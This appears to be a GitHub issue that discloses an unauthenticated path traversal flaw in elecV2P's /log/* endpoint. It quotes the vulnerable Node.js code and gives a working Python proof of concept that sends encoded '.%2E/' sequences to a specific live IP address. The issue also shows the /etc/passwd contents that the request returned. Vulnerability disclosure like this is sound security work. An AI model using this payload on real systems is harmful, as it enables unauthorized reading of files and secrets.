Skip to content

Path Traversal — arbitrary file read via /log & /logs endpoints #200

Description

@NinjaGPT

Summary

The /log/* endpoint requires no authentication and passes the wildcard parameter directly to path.join(CONFIG_LOG.logspath, filename) without sanitization. URL-encoded ./.. sequences escape the logs directory, allowing any file to be read. Confirmed by retrieving /etc/passwd.


Details

  • SOURCE
// source-code/elecV2P-master/webser/wblogs.js#L82C21-L103C4
82→  app.get('/log/*', (req, res) => {
83→    const filename = req.params[0].replace(/\/$/, '')
84→    clog.info(req.ip, 'get log', filename)
85→    const logcont = LOGFILE.get(filename)
86→    if (logcont) {
87→      res.writeHead(200, {
88→        'Content-Type': 'text/html;charset=utf-8'
89→      })
90→      logcont.on('data', (chunk) => {
91→        res.write(escapeHtml(chunk.toString()))
92→      })
93→      logcont.on('close', () => res.end())
94→      logcont.on('error', (err) => {
95→        res.end(err)
96→      })
97→    } else {
98→      res.status(404).json({
99→        rescode: 404,
100→        message: `log ${filename} not exist`
101→      })
102→    }
103→  })
  • SINK
// source-code/elecV2P-master/utils/logger.js#L234C3-L256C4
234→  get(filename) {
235→    if (!filename) {
236→      return
237→    }
238→    filename = filename.trim()
239→    if (filename === 'all') {
240→      return require('./file.js').file.list({
241→        folder: CONFIG_LOG.logspath,
242→        ext: ['.log']
243→      })
244→    }
245→    let logfpath = path.join(CONFIG_LOG.logspath, filename)
246→    if (fs.existsSync(logfpath)) {
247→      if (fs.statSync(logfpath).isDirectory()) {
248→        return require('./file.js').file.list({
249→          folder: logfpath,
250→          ext: ['.log']
251→        })
252→      }
253→      return fs.createReadStream(logfpath)
254→    }
255→    clog.info(filename, 'not exist')
256→  },

POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/log//etc/passwd', urlparse(url).path):
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests

# Define the target URL and the payload
target_url = "http://34.127.19.15:42863/log/"
payload = '.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/passwd'

# Craft the full URL with the payload
full_url = f"{target_url}{payload}"

# Send the GET request to the target
response = requests.get(full_url, verify=False)

# Print the results
print("Status Code:", response.status_code)
print("Text:", response.text)
# ********************************** Poc End ***********************************
  • The executed result
Status Code: 200
Response Text: root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions